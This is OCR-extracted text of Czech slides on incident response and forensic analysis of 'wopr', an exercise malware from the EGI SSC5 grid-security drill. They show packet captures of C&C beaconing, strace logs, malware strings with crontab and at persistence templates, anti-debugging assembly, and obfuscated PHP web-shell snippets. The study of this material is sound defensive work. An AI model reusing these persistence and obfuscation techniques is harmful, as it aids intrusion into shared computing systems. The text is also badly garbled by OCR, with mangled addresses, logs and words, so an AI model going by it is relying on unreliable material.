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= AV AN

nce na cVvicisti,

e Radoslav Bodo <bodik@civ.zcu.cz>

e Daniel Kouril <kouril@ics.muni.cz>
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e Zaver




edi pro vseliké vypocty

Ce nebo procesy, ktere slouzi, ale ste]ne se 0 né
‘nékdo starat a zpravidla to nebyva sam uzivatel ..

* Metacentrum.cz
 aktivita CESNET z.s.p.o

e EGI.eu

e pan-European Grid Infrastructure
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MetaUvod

. natoz potom EGI ...

230 000 CPUs, 28M uloh/mésic
12 000 uzivatelu, 57 zemi, 348 lokalit

Sdileji prostredky a naruseni jednoho z nich miiZe mit rozsahlé
nasledky na celou infrastrukturu




 cvicCit Incident Response ...

... aforenzni analyzu




allenge 5

e EGI CSIRT

ly operatorem cviceni spustény virové tilohy

e Spusteny proces IR identifikoval 2 IP adresy C&C botnetu
e Pres FTAS lokalizovany napadené uzly v META

* Forenzni analyzou byly ziskany virové vzorky

» Usporadana videokonference a sdileny dostupné informace
* Vzorky byly poté podrobeny podrobné analyze

 Ziskané informace byly sdileny s EGI ...

e Dostupné informace byly ziskany od EGI ...



€gl.Ssc5.wopr

Pilot skripty

Spoustéci shell skript
2 spustitelne soubory — malware egi.ssc5.wopr.32/64

Pakiti klient




* Vystup stdout, stderr

e Tcpdump

e Strace
|-- [ 12K] pakiti-ssc-client cee7c9cefale94fbla3...
|-- [ 479] ratatosk.sh 0aa241f5ca224ee54b6. ..

|—— [1.6M] wopr build centos64.ANALY GLASGOW aS5cd77ab855e274d201...
|-- [1.2M] wopr build v6 debian32.ANALY GLASGOW 8f1d97d80afde2872dd...

|—— [ 95K] strace.out a2ffa7beefafcfc6dl8...
|—— [ 0] tmp.stderr da39a3ee5eb6b4db0d325...
|—— [ 88K] tmp.stdout d6159289dab635781f5...

‘—— [331K] wopr.tcpdump 4£502e8a8d8219d2b96. . .



Uroven 1: Sbér zakladnich informaci

wopr.tcpdump (HTTP, DNS)

Time . Source Destination Protocol Info

09:30:58.81 155.140.243.4 172.16.1.1 TCP  http = 59202 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS5=1460 TSV=255254845 TSER=61368076 WS=6
@9:30:52.91 172.16.1.1 195.140.243.4 TCP 59202 = http [ACK] Seq=1 Ack=1 Win=5888 Len=0 TSV=61368093 TSER=255254849
09:30:59.91 172.16.1.1 195.140.243.4 HITP POST /message HTTP/1.1

09:30:52.93 185.140.243.4 172.16.1.1 TCP  http = 58202 [ACK] Seq=1 Ack=655 Win=7104 Len=0 TSV=255254854 TSER=61368093
09:31:00.29 1855.140.243.4 172.16.1.1 HTTP HTITR/1.1 200 OK

@9:31:00.25 172.18.1.1 185.140.243.4 TCP 58202 = http [ACK] Seq=655 Ack=121 Win=S888 Len=0 TSW=51368473 TSER=255254944
@9:31:00.29 172.16.1.1 195.140.243.4 HITP POST /message HITP/1.1

09:31:00.31 185.140.243.4 172.16.1.1 TCP  http = 59202 [ACK] Seq=121 Ack=1292 Win=8448 |Len=0 TSWY=255254949 TSER=61358474
09:31:00.67 185.140.243.4 172.16.1.1 HTTP HITP/1.1 200 OK

@9:31:00.67 172.16.1.1 195.140.243.4 HITP POST /message HTTP/1.1

09:31:00.692 155.140.243.4 172.16.1.1 TCP  http = 58202 [ACK] Seq=241 Ack=1452 Win=8728 Len=0 TSV=255255044 TSER=51368855
09:31:01.06 155.140.243.4 172.16.1.1 HTTP HITR/1.1 200 OK

@9:31:01.08 172.18.1.1 195.140.243.4 HITP POST /message HTTP/1.1

09:31:01.08 1855.140.243.4 172.16.1.1 TCP  http = 58202 [ACK] Seq=361 Ack=1615 Win=11072 Len=0 TSV=255255140 TSER=51369240
09:31:01.18 1855.140.243.4 172.16.1.1 HTTP HTTR/1.1 200 OK

09:31:01.22 172.1&6.1.1 195.140.243.4 TCP 59202 = http [ACK] Seq=1615 Ack=481 Win=5888 Len=0 TSV=61369404 TSER=255255167
@9:31:32.89 172.16.1.1 195.140.243.4 HITP POST /polling HTTR/1.1

09:31:32.81 185.140.243.4 172.16.1.1 TCP  http = 59202 [ACK] Seq=481 Ack=1739 Win=11072 Len=0 TSV=255283099 TSER=61401076
09:31:32.291 1855.140.243.4 172.16.1.1 HTTP HITP/1.1 200 OK

09:31:32.81 172.16.1.1 185.140.243.4 TCP 58202 = http [ACK] Seq=1739 Ack=601 Win=5888 Len=0 TSV=61401093 TSER=255263100
©9:31:52.82 172.16.1.1 147.231.25.14 DNS Standard query A X4DDEQlef.sWitCh.VEXOcide.orG

09:32:01.94 147.231.25.14 172.16.1.1 DNS  Standard query response A 202.254.186.190

09:32:05.89 172.1&6.1.1 195.140.243.4 HITP POST /polling HTTP/1.1

09:32:05.91 1855.140.243.4 172.16.1.1 HTTP HITP/1.1 200 OK

@9:32:05.81 172.18.1.1 185.140.243.4 TCP 58202 = http [ACK] Seq=1853 Ack=721 Win=5888 Len=0 TSV=61434083 TSER=255271349
09:32:38.89 172.16.1.1 195.140.243.4 HITP POST /polling HTTR/1.1

09:32:38.91 1855.140.243.4 172.16.1.1 HTTP HTTR/1.1 200 OK

09:32:38.81 172.1&6.1.1 195.140.243.4 TCP 59202 = http [ACK] Seq=1987 Ack=841 Win=5888 Len=0 TSV=61467092 TSER=255279500
@9:32:59.89 172.16.1.1 147.231.27.1732 DNS Standard query A X4DDEOZ22B.SwitcH.vEXOcIDe.oRg

09:32:00.12 147.231.27.173 172.168.1.1 DNS  Standard query response A 202.254.186.1890

©9:33:11.82 172.16.1.1 195.140.243.4 HITP POST /polling HTTR/1.1

09:33:11.91 185.140.243.4 172.16.1.1 HTTP HTTR/1.1 200 OK

©9:33:11.21 172.1&6.1.1 195.140.243.4 TCP 589202 = http [ACK] Seq=2111 Ack=961 Win=5888 Len=0 TSV=61500091 TSER=255287850
09:33:44.90 172.16.1.1 185.140.243.4 HITP POST /fpolling HTTR/L.1

09:33:44.9]1 155.140.243.4 172.16.1.1 HTTP HITP/1.1 200 OK

©9:33:44.91 172.16.1.1 195.140.243.4 TCP 59202 = http [ACK] Seq=2235 Ack=1081 Win=5888 Len=0 TSV=61533091 TSER=255295100
09:33:58.80 172.16.1.1 147.231.25.16 DNS  Standard query A X4dDe0267.sWITCH.VexoClde.orG

09:33:59.93 147.231.25.16 172.16.1.1 CNS Standard query response A 202.254.186.190

09:34:14.79 172.16.1.1 185.140.243.4 TCP 58202 = http [FIN, ACK] Seq=2235 Ack=1081 Win=5888 Len=0 TSV=515628972 TSER=255296100

09:34:14.81 1585.140.243.4 172.16.1.1 TCP  http = 58202 [FIN, ACK] Seq=1081 Ack=2236 Win=11072 Len=0 TSV=255303574 TSER=51562972



kladnich informaci

tek dat ? Sifra nebo kod (ciphertext se opakuje)

Strearm Content

POST fmessage HTTF,S1.1
Content-Length: 590

12.P..s......... @ ..9..t....... -cf52-4b06-810d-b2f650k5eb9c ", "wersion": 5, "payload": { "pos
"nodename": "=l a—_n]h! cz", "release": "2.6. Iﬂm.:._ E" "version": "#1 SMP Tu
"x26_E&4" }, "ownership": { "uid": 24292 "auid": 24202, "gid": 1085, "egid": 1025, "uid_name":
vagilepmintlE" B "gid name": "iSme" "egld nama": "M‘.". "sgid": 1307, "sgid name": "=
7248, "sid": 7118, "pogid": 7877, "cwd": "\/tmp\/workDir" } } } }.HTTP/1.1 200 OK

Date: Thu, 26 May 2011 07:321:00 GMT

Content-Length: O

Content-Type: text/html; charset=I50-8859-1

POST /polling HTTP/1.1
Content -Length: 78

12.P..s......... (1 DR | - -cf52-4b05-210d-b2fE50k5ekb9c", "version": 5 F. HTTR/L.1 200 OK
Date: Thu, 26 May 2011 07:32:05 GMT

Content-Length: ©

Content -Type: text/html; charset=I50-8859-1

POST fpolling HTTP/1.1
Content -Length: 78

13.P..s....... .. 7 D | - -cf52-4b06-810d-b2f650bSebac ", "version": 5 } HTTR/1l.1 200 OK
Date: Thu, 26 May 2011 07:32:38 GMT
Content -Length: ©




Uroven 1: Sbér zakladnich informaci

* DNS dissector — wopr.tcpdump

* sWITH.VexoCIde.orG A 202.254.186.190

59202 = http [ACK] Seq=1739 Ack=601 Win=5888 Len

Domenovy kos jasna véc, ale k cemu slouzi ? covert channel ?

Standard query A X4DDEQOlef.sWitCh.VEXOcide.ors
Standard query response A 202.254.186.190
POST /polling HTTR/1.1

HITP/1.1 200 0K

59202 = http [ACK] Seq=1863 Ack=721 Win=5888 Len
POST spolling HTTP/1.1

HITP/Ll.1 200 OK

59202 = http [ACK] Seq=1987 Ack=841 Win=5888 Len
Standard query A X4DDEQ22B.SwitcH.vEXOcIDe.oRg
Standard query response A 202.254.186.190

POST /polling HTTR/1.1

HITP/1.1 200 0K

= X4DDEOlef. sWitCh. VEXOcide. orG: type A,

= Querlies
= X4DDEOlef. sWitCh. VEXOcide. arG: type A,

Name:
Type:
Class:

¥ Answers

Name:

Type:
Class:

Time to live:

XADDEALlef . sWitCh. VEXOc 1de. orG
A [(Host address)
IN | Bx0881)

KADDEGLlef . sWitCh. VEXOc Lde. orG
A (Host address)
IN [ GxE0a1)

12 hours

Data length: 4

¥ MAuthoritative nameservers

50202 > http [ACK] Seq=2111 Ack=961 Win=5888 Len

POST spolling HTTP/1.1

HITP/Ll.1 200 OK

Standard query response A 202.254.186.190

O = httn [ETH

[P VEXOcide. orG: type NS, class IM, ns mud. stack.nl

class IN

class IN, addr 202. 254, 186. 190

Addr: 202.254.186. 190

P VENOcide.orG: type NS, class IN, ns dragon. stack. nl

= Additional records

g P mud. stack.nl: type A, class IN, addr 131.155.141.70
59202 = http [ACK] Seq=2235 Ack=1081 Win=5888 Le
Standard query A X4dDe@267.sWITCH.VexoCIde.orG o000 00 30 48 c5 42 be 00 16 3= 10 00 Oe O 00 45 08 .OGH.B... > .... E.
0010 00 93 a2 20 00 00 40 11 Te 2c 93 =7 19 Oe ac 1A R
: 0020 01 01 00 35 9= 91 60 86 15 91 32 4d B1 80 09 01  ...5.... .. 2M. .
APl Ban=9935 Acl=1ART Whn=S8000 0o 01 00 02 00 O1 B9 58 34 44 44 45 30 31 65 66 ... ¥ 4DDEOLef
0040 06 73 57 69 74 43 6B 08 56 45 58 4f 63 69 64 65 . sWitCh. VEXOcide
0S8 03 6f 72 47 00 00 A1 08 01 cO Oc 00 OL 00 A1 08  .orG.... ........
POEE 00 =8 cO 00 04 €O 1d 00 62 08 91 68 ... .. ... .
0O70 00 a8 cO 00 Oe 03 6d 75 64 05 73 74 61 63 6b 02  ...... mu d. stack.
080 Ge Gc 00 cO 1d 00 62 00 01 00 00 a8 cO 00 @9 06 nl...... ........
090 &4 72 61 67 6f G2 cD 4f cO 4b 00 OL 00 01 @9 05 dragon.O .K......
00a0 4b 9a 00 04 83 Sb Sd 46 K.o.o.... F



§hiece cviceni ...

"running wopr_build_v6_debian32.ANALY_GLASGOW"

The peace bringer exited with: 0

"running wopr_build_centos64.ANALY_GLASGOW"

message_send(): { "pid": 12897, "uuid": "8618d203-c4al-4393-b743-914clc7fedcb", "version": 5,
"sitename": "ANALY_XXX", "vo": "xxxxx", "payload": { "posix": { "uname": { "sysname": "Linux",
"nodename": "XXXXXXXXX.XXXX.XXXXXXXX.cz", "release": "2.6.xx-1xx.x2.1.xxx", "version": "#1 SMP
Tue xxx 4 12:47:36 EST 2011", "machine": "x86_64" }, "ownership": { "uid": 24202, "euid":
24202, "gid": 1085, "egid": 1085, "uid_name": "xxxxxxxx002", "euid_name": "xxxxxxxx002",
"gid_name": "xxxxxxxt", "egid_name": "xxxxxxxt", "sgid": 1307, "sgid_name": "xxxxx" 1},
"process": { "pid": 12897, "ppid": 12891, "sid": 12569, "pgid": 12569, "cwd": "\/scratch\/83947
56.XXXXXX .XXXX.XXXXXXXX.cz\/cxxxxxg_Brn12797\/xxxxx3\/Pxxxx_Pxxxx_12826_1306315250\/Pxxxxxxx_12
41710574_1306315252\/workDir" } } } }

Encrypting...

message_callback

Decrypting...

skokokok skok ok skok sk kok ok sokskokskokskoskoskokokkok kkksk GO 1h skokskokoskokokokok ok skok ok skok skok sk skok sk skok skok

polling message_send: { "pid": 12897, "uuid": "8618d203-c4al1-4393-b743-914clc7fedcb", "version": 5,
"sitename": "ANALY_XXX", "vo": "xxxxx" }

Encrypting...

Polling callback

Decrypting...

polling_callback: got response object without an input buffer

resolve_dispatch

resolve_cb

polling message_send: { "pid": 12897, "uuid": "8618d203-c4al-4393-b743-914clc7fedcb", "version": 5,
"sitename": "ANALY_XXX", "vo": "xxxxx" }

Encrypting...

Polling callback

Decrypting...

polling_callback: got response object without an input buffer



zakladnich informaci

connect, accept, send, recv, fork, exec

getsid(o)

= 28428
getpgid(o) = 28780
getcwd (" /tmp/workDir", 4098) = 13

1l
o]

_sysctl({{CTL KERN, 0x28 /* KERN ?77? */, S}, 3, o0x7fff7se7bd30, 16, (nil), ©})
_sysctl({{CTL_KERN, 0x28 /* KERN 7?77 */, 5}, 3, ox7fff79e7bd3@, 16, (nil), ©O})
getowd (" /tmp/workDir", 4098) = 13
open("/scratch/home_pool/a" w702 /some. random.file.move.along", O WROMWLY|O CREAT|O TRUNC, 0666) = 12
open("/tmp/some.random.file.move.along", O WROMNLY|O CREAT|O TRUNC, 0865) = 13
open("/var/tmp/some.random.file_move.along", O WRONLY|OQ CREAT|O TRUMC, 0686] = 14
open("fopt/glite/var/tmp/some.random.file.move.along", O WROMLY|O _CREAT|O TRUNC, OB66)

0]

-1 EMOENT (Mo such

open("fopt/glite/var/log/some. random.file.move.along", O WROMLY|O CREAT|O TRUNC, 0666) = -1 EMOENT (Mo such
open("fopt/glite/var/some.random.f1le.move.along", O WROMLY|O CREAT|O TRUMNC, 0866) = -1 EMOENT (Mo such file
open("fopt/glite/tmp/some. random.f1le.move.along", O WROMLY|O CREAT|O TRUMC, 0866) = -1 EMOENT (Mo such file
open("/var/spool/pbs/spool/some.random.file.move.along", O WROMLY|O CREAT|O TRUMC, 0666) = -1 EMOENT (Mo suc
open("/var/spool/pbssundelivered/some.random.file.move.along", O WRONLY|O CREAT|O TRUNC, 0686) = -1 EMOENT |
open("/var/spool/samba/some.random.file.move.along", O WRONLY|O CREAT|O TRUNC, 0666) = -1 ENCENT (Mo such fi
open("/var/cache/coolkey/some.random.file.move.along", O WROMLY|O CREAT|O TRUMNC, 0865) = 15
open("/var/spool/vbox/some.random.file.move.along", O WROMNLY|O CREAT|O TRUNC, 0©666) = -1 ENOENT (No such fil
open("/var/Lock/xemacs/some.random.file.move.along", O WRONLY|O CREAT|O TRUNC, 0665) = -1 ENOEMT (Mo such fi
_sysctl({{CTL KERN, 0x28 /* KERN 7?77 */, S}, 3, Ox7fff79e7bd30, 16, (nil), ©}) = O

getcwd (" /tmp/workDir", 4098) = 13

open("/scratch/home_pool/aft——=s" ""2/some.random.file.move.along", O WRONLY|O CREAT|O TRUNC, 0686) = 16
open("/tmp/some. random.file.move.along", O WROMLY|O CREAT|O TRUNC, 0665) = 17
open("/var/tmp/some.random.file_move.along", O WRONLY|OQ CREAT|O TRUMC, 0666] = 18

open("fopt/glite/var/tmp/some.random.file.move.along", O WRONLY|O CREAT|O TRUNC, 0666) -1 EMOENT (Mo such

open("/opt/glite/var/log/some.random.file.move.along", O WROMLY|O CREAT|O TRUNC, 0866) = -1 EMOENT (Mo such
open("/opt/glite/var/some.random.file_move.along", O WROMLY|O CREAT|O TRUMC, 0666] = -1 ENOENT (Mo such file
open("fopt/glite/tmp/some. random.f1le.move.along", O WROMLY|O CREAT|O TRUMC, 0866) = -1 ENOENT (No such file
open("/var/spool/pbs/spool/some.random.file.move.along", O WROMLY|O CREAT|O TRUNMC, 0856] = -1 EMOENT (Mo suc
open("/var/spool/pbssundelivered/some.random.file.move.along", O WRONLY|O CREAT|O TRUNC, 0886) = -1 EMOENT |
open("/var/spool/samba/some. random.file.move.along", O WRONLY|O CREAT|O TRUNC, G666) = -1 ENOENT (No such fi
open("/var/cache/coolkey/some.random.file.move.along", O WROMLY|O CREAT|O TRUNC, 0665) = 19

open("/var/spool/vbox/some.random.file.move.along", O WROMNLY|O CREAT|O TRUNC, 0666) = -1 EMOEMT (No such fil
open("/var/lock/xemacs/some.random.file.move.along", O WRONLY|O CREAT|O TRUNC, 0666) = -1 ENCENT (Mo such fi

getsockopt(11, SOL_SOCKET, SO _ERROR, [12884s01888], [4]) = 0

getsockopt(11, SOL_SOCKET, S0 _ERROR, [12884201888], [4]) = 0

writev(1l, [{"POST /message HTTP/1l.1l\rynContent-Length: &08\r\n\ryn", 47}, {"\336:.-%\21#0Dz (\300Ee"\230tY"\ 366"
-cf52-4b0os- 810d- b2f650bSebocy", \"wversiony": 5, \"payloady": { “\"hostname\": ‘"s==77 7 o0 o siczy, Y
Wiph': WU127.0.0.01%", Z'netmasky": 4"255.0.0.00", A\"fgdny": \"localhost.localdomainy" },




dnich informaci

cesy, jejich vlastniky a vzorky malware
malware

tatni napadené stroje
eodobné akce

* Odhadnout mozny rozsah penetrace ...

* Extra body
« DNS - 0xCAFEBABE



o k dertu ...

lesstper, ale ...

zorku, miize prozradit informace

ngs, objdump
.com, Anubis, Norman, CWSandbox
» SpiSe Urovei 1
e Hledame extra informace
e Typ viru (bin, skript, ...)
* Pouzivané komponenty
e I[P, DNS

» Retézce mohou objasnit ¢innosti viru, které nebyly
odhaleny honeypotem/sandboxem

* Podpisy autorti ...



0 k Certu ...

zavislost na dostupnych sdilenych knihovnach

* Dodatecne informace o strukture programu, jména proménnych a
podprogramt

e Debug, post-mortem

* Protoze SSCS5 je cvicCeni, nebyly tyto informace odstranény coz
ulehcilo analyzu a prisp€lo k hratelnosti a vyukovému charakteru
cvicent ...

wopr _build_centos64. ANALY GLASGOW:

ELF 64-bit LSE exec, xB6-64, statically linked, for GNU/Linux 2.6.9, not stripped
wopr _build _v6 _debian32. ANALY GLASGOW:

ELF 32-bit LSE exec, Intel 80386, statically linked, for GNU/Linux 2.4.1, not stripped



Jméno souboru ?

Skripty pro prochazeni adrs..

Hook do cron/at ?

+ bashitsu

0 to k Certu ...

$ strings wopr_build_vw6_debian32.ANALY_ GLASGOW | nl

1103
1104
1105
1106
1107
1108
1115
1116
1140
1141
1142
1143
1144
1145
1146
11556
1156
1157
1158
11595
1160
1161
1191

WE COME IN PEACE
8.8.8.8

8.8.4.4

195.140.243.4

hs: input buffer:
xhx.switch.vexocide.org

/polling
/message

some .random.file.move.along
touch Y%s/Ys > /dev/null 2>&1
writeable_dirs

HOME

TMPDIR

Jopt/glite/var/tmp
Jopt/glite/var/log

touch

crontab

td Yd * * % Ys Ys >/dev/null 2>&1

#!/bin/sh

s s »/dev/mull 2>&1

at =-f %s "now + ¥d minutes" > /dev/null 2>&1
st s s sheok sk skl ook ok ek skokolok bl ol bk kokokokokok. (Jot A b deokokodokok
omgwtfbbgidkfaiddqd




Uroven 2: Co to k ¢ertu ...

$ strings wopr_build_vw6_debian32.ANALY_ GLASGOW | nl
1103 WE COME IN PEACE

strings 1104 8.8.8.8

m Jusr/sbhin/chan®
rm Jusr/sbin/s Jusr/sbin/s.*
echo "Romanian Fucking team :))"

-

jeszsica biel naked in my bed.c

_rf
- T

Dovalim =z knajpy a cumim ze Wojta zas nema co robit, kura.
Fizdi, tuta]j mate cosyk na hrani, kym aj totok vvkeca.
Stejnak je to stare jak cyp a aj jakesvk rozbite.

** ¥ *+* * * F W

Linux vmsplice Local Boot Explcit

e T

R R iR M
FR IR S ==t SQLServer Database
og .l MFSCII Database
BHR AR S 23R Oracle Database
¥R FERFS DB2 Database
ODBEC Data Source
RHREED

HHERE S



Uroven 2: Co to k ¢ertu

objdump, readelf (peid, trid,

Rozlozeni informaci ve spustitelnem souboru/objektu, opét pomohou objasnit
cinnosti viru, ktere nebyly odhaleny honeypotem/sandboxem. Pokud by
nebyl virus staticky linkovan podobné by pomohl i seznam pouzivanych

dyn. knihoven

)

Jména a adresy proménnych a podprogrami (import/export)

C B3O
 CBEeh2d0
D EE0ELET0
 CE0ACChO
' CE0TEdED

Rk A

. OBOfEE2c
D ERETEECO
C CE0RAdTO
 CB0hTohO
D 3E0EEAT0
 CBoeffal
D EIEEEER0
I G 6
 E0Edafd
 CE0E0dED
D OEEEEEA0
 CB0desho
D EEEEE130
 E0ETELO
C EE0EEA0

2782
=5
450
Fis)
0
1=2
4
478

145
152

ALMNC
FLMNC
FLMC
ALMNC
ALMNC
FLMNC
OBJECT
ALMNC
ALMNC
FLMNC
FLMC
ALMNC
ALMNC
FLMNC
FLMC
ALMNC
ALMNC
FLMNC
FLMC
ALMNC
ALMNC

@ CBAL DEFALLT
@ CBAL DEFALLT
QL CBAL DEFALLT
@ CBAL DEFALLT
@ CBAL DEFALLT
@ CBAL DEFALLT
QL CBAL DEFALLT
@ CBAL DEFALLT
@ CBAL DEFALLT
WEAK.  DEFALLT
QL CBAL DEFALLT
@ CBAL DEFALLT
WEAK. DEFALLT
@ CBAL DEFALLT
QL CBAL DEFALLT
@ CBAL DEFALLT
@ CBAL DEFALLT
@ CBAL DEFALLT
WEAK  DEFALLT
@ CBAL DEFALLT
@ CBAL DEFALLT

3
3
3

UJLUJUJUJUJUJUJUJUJUJUJEIIUJUJUJ

3
3

getifaddrs

__libc fork

“bufferevent _decref and u
Evhttp connection set tim
EvcnnnllstEner_set_grrnn_

_I0 wsscanf

“dl init static tls
evdns_base load hosts

Event _debugx
timelocal
evert_deferred cb queue 1

res_maybe init

ubp memchr
payload uname to json

fortl nocancel
bufferevent get input
evernt_base new with_confi
_nl_finddomain subfreeres
valloc

_I0 str init static inmter

strsep qd



1338:
16536:
16956:
2280:
2621:

08062cel
0805700
0804ceb0
0806dd40
08069430

360 FUNC GLOBAL DEFAULT
11 FUNC GLOBAL DEFAULT

evhttp_make_request
evhttp_request_get_respon

227 FUNC GLOBAL DEFAULT 3 evbuffer_encrypt
570 FUNC GLOBAL DEFAULT 3 evbuffer_add
4871 FUNC GLOBAL DEFAULT 3 aes_decrypt
3
3

e google.com >> ... >> libevent

* Pro psani malware jako stvorena, nehledé na to Ze autorem je Niels Provos ;)

libevent is an event notification library for developing scalable network servers. The
libevent API provides a mechanism to execute a callback function when a specific event
oceurs on a file deseriptor or after a timeout has been reached. Furthermore, libevent
also support callbacks due to signals or reqular timeouts.

- evbuffer encrypt, aes_encrypt v plivodnim projektu nejsou



k Certu ...

"':‘///// N \ 4 . . 7 s 7
lavicky, pripony, neviditelna adresarova

eni nebo pridani bilych znak, rizna kédovani (base64,
url, concat, ...)

e Zkomprimovani skutecneho obsahu argoritmem gzip nebo
custom packery

o ZaSifrovani casti malware (wishmaster)



Uroven 2: Co to k ¢ertu ...

Obfuskace v praxi

Falesne magic hlavicky, pripony, neviditelna adresarova struktura

mc [bodik@bodik]l:/tmp/ssc5

ftmp/sscS/0hbeSe850Eh 45 780ec 20242 Th 925257 GIF 16217x2573 162 7x2573+16191+16191 8-bit PseudoClass 256c 2. 45KB

Warning

idertify: corrupt image ~/tmp/sscS/0chbeSeBaiahAc7elecz2242fheza257" @ error/glf. c/PLngGIFImage /S35,

mc [bodik@bodikl:/tmp/ssc5
aIFEsaEyY M

PRUHTRY CHUHT APTHISK\E® iCPP ]| PR EEh 1CPT o LEQdT " WG] AH2CK P MUmEBr&E?, GOI 70dLPaw V)t ' O T 7a PETLOMPY 20
G&P- - . PRParhvishd] . . .~ Ztk@Wrq¥?0) CPdCAS KG¥0- - -S¢F, . . ~YqmPSgcdEr "aAP" S I H? ;

=7php

echo "bsdcr3w=br=";

$un = @hp_unamel | ;

fup = system(uptime);

$1dl = systemiid) ;

[ T | . TS SR B T
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Obfuskace v praxi

Odstranéni nebo pridani bilych znaki, rizna kédovani (base64, url,
concat, ...)

Zkomprimovani skutecneho obsahu argoritmem gzip, ...

mc [bodik@bodikl:~/SEC/myspherel/

=7 evallgzinflatelbasetd decodel’

Tb3peu]I0) DE+53nmxt OgT3ddhs wHgrvimHLcZm

BEEVATx CCIBZhCLBNy SNEZL r+PSaV3Y 1 mc [bodik@bodikl:~/SEC/myspherel/data/apache_rfi/do
qusZz v Mt 1Euk T IR MR Jx S+
1EMEY S SIMNAT At 7 JEH+ad3m 2 Oy
LaE 00z THMCYES LWL w7y GI0FLOMYT
CgbSdCniE0L PCEHA TdL SYSJ0umt 8n
eyNTdbZIPWL bdpBT 4R r17/+Fhos0ig
2z r+al f+hvOnpgMf Oy XriulAlma7e\vlog
vaHdPEEMRTF v rdmBt Jr A7 2R490HEL M

I I
| i Tdst3rs Cr3w: . |

BT B R Bk B R R R B R R R R R R R R

xUBELoxCzSyhdt 1 1g+32pSomj L]0 : _
— = - e om0 e ETEVEZ1AE" ) fxlo="10\x TR 1IN156ume x 72 1510143" ) $xld=" 1520
74s"; $x1f="ob \145\xGe\140 137143\ x6c x50 \xBe " $x20=""157\x&
X22="" 1600143 6\ k6T x T xER" ) $x23=""1600150p\ x5\ x 75\ x5\ 141,
VB B 25"\ T 150en 15 x 6o x5 EE O\ XEEN X G ) frZ="16E3M1T1

fxCh = @:‘f-:-:lai];echn "RAVISI L0 SAe \ xElm=\142r\x3e " §x0c = @23
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Obfuskace v praxi

Custom packery >> emulatory, deobfuscatorys, ...
(spidermonkey, CAL9000)

mc [bodik@bodik]l:~/hacks/web

mwm&mmm ‘hd=

=fort 1d= = =255 3R25555] 2RSS SESEI0S] 305 SRR N SR SEE S
e e TS L T e e I O S S A G S A e S e G S e S S S S e o S
=farrt = id= ==/fort=

var HexChars = £

function h2d({Hexval){
HexVal=HzxVal . tolpperCase( ) ;
var DecVal=0;
var Hyl=HexVal .substring(Q,1):
DecVal=(HexChars.1ndexOf (HV1) *16) ;
Hl=HexVal . substring(1) ;
DecVal +=HexChars, 1ndexCf(H1) ;
St ring. fromCharCode( Decval ) ;

Iy
var s='"';
var oc=Array| . . . . . , . .
. . . . . . . )
(var 1 al
S+= .getElementByIdio[1]) . 1nnerHTML;

" S5= _:
(var 1=0; 1 =s.length; 1+=2)
ss+=h2d(s.substrii,2));



to k Certu ...

oveé informace o viru

&C (nemusi byt vSechny hned videét po
ni viru v sandboxu — antidebug)

° Ve A4 7 (o]
odpis utocniku
$ strings wopr_build_v6_debian32.ANALY GLASGOW | nl
1103 WE COME IN PEACE
1104 2.8.8.8
1105 8.8.4.4

1108 195.140.243.4
= EXtra bOdy 1107 %s: input buffer:
1108 x¥x.switch.vexocide.org
- ecron/at hook 1115 /polling

1116 /message

(] libevent 114{] some .random.file.move.along

1141 touch ¥%s/¥%s > /dev/null 2>&1
1142 writeable_dirs

1143 HOME

1144 TMPDIR

1145 fopt/glite/var/tmp

1146 fopt/glite/var/log

FUNC GLOBAL DEFAULT 3 evbuffer_encrypt
FUNC GLOEAL DEFAULT 3 evbuffer_add 1155 touch
1156 crontab
FUNC GLOBAL DEFAULT 3 aes_decrypt 1157 %d %d * * * %s %s >/dev/null 2>&1
FUNC GLOBAL DEFAULT 3 evhttp_make_request 11568 #!/bin/sh
FUNC GLOBAL DEFAULT 3 &vhttp_r&q_u&st_g&t_r&sp&n iigg .i:. 1‘: ;idﬁliflilxi}:}nutes“ > fdev/null 2>&1

11681 sokokokokokoskokksok koo kkokkokok ko kkkkdkkkk Got 1t Hkkkkxk
1191 omgwtfbbgidkfaiddqgd
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» Dalsi urovni muze byt disassembling, nebo dlouhodobé sledovani v
sandboxu nebo honeypotu s vysokou interakci ...

804825¢c:
8048260
B048262:
8048264
B04B266:
8048267
8048263:
B04826c:
804826fF:
8048271
8048273
8048273
B048280:
8048285
8048287
g048289:
BO4B28h:
804828d:
804828e:
8048206

- objdump -d, REC, OllyDBG

» Hromada assembleru, nizka interaktivita, slozita orientace, ...

objdump -d
8d 74 26 0@ lea
75 el jne
3l <o Xor
31 db xar
L] inc
cd 20 int
gb 42 o4 moy
B3 c2 O add
85 ci test
75 da jne
2d b& 06 08 08 08 lea
8d bc 27 06 08 00 00 lea
eB 4b ab 00 00 call
85 ci test
74 07 je
3l i Xor
21 db Xor
40 inc
cd 806 int
31 <9 Xor

Ox0 (%esi, Seiz, 1) Sesi
2048243 -mRin+Dxd3-
%eax, beax

%Sebx, Sebx

%eax

Taxa0

Bxd (Sedx), Seax
Toxd | Sedx

%eax, beax

804824d ~-main+Oxdd=
Ox0 (%esL) , Sesl
Bx0(%eds Feiz, 1), Sedi
B052dd0 -anti_is ptraced-
%eax, Yeax

8048290 =maln+0x90=
%eax, Yeax

%ebx, bebx

%eax

Hox30

%ecx, Yecx

\

REC

ebx = *{gcx + B);
iflanti_is gdb() '= @) {
ebx = 0;
eaxr = 1,
asml"int Gx86");
1
iflanti_is ptraced() !'= 0} {
ebx = 0;
eaxr = 1;
asml"int Gx86");
1
eax = *ehx:



i
I

asm, s vysokym stupném interakce a
ziskanych informaci, skoro hasm://

lea_BCdRzId:
= max, [abz]
TS wax, sax

JE AROEL loo_BOJSgan|
= . < T
may @A, [@dn+d] [y wdd, ebx
[add wdn, 4 Jnp short loc_BOd83 4D
test wAN, Sax
bl short loo_ 8048240 |
1
........... : (A X
T
lea_ 8048240
‘anp byta ptr [eaw], 4Ch
anE short looc_BO4Eadl
—_— 1
- L
‘oD byts pLE [@4W+l]. 44N
JaE short loc_B048243
Il
4
‘enp byte ptr [eanti]. SFh
lea asi, [esi+l]
JmE short loc_B048243
|
¥ T ¥ ¥
= ) - -
lea asl, [esit+d] moxr AN, @ax
lea adi, [edi+d] loc_8048243: Mo abM, @bx | status
mewr “an, [edn+d] ina SAK
ladd wdu, 4 int [:1=1:1 | LTNUX - sys_awit
test SAN, SAK
= short loo_BOdEz&0|
L |
K]
- L
leo_S048280:
‘call anti_is_ptraced
tast SAN, QAN
kL short loo_B0483 80
L
¥ ¥
FEE ===
EES SAH, 8N yop Los_BO4B2AR
=oT abx, abx i status loa_B048: 60 -
inme wax LT SN, SN
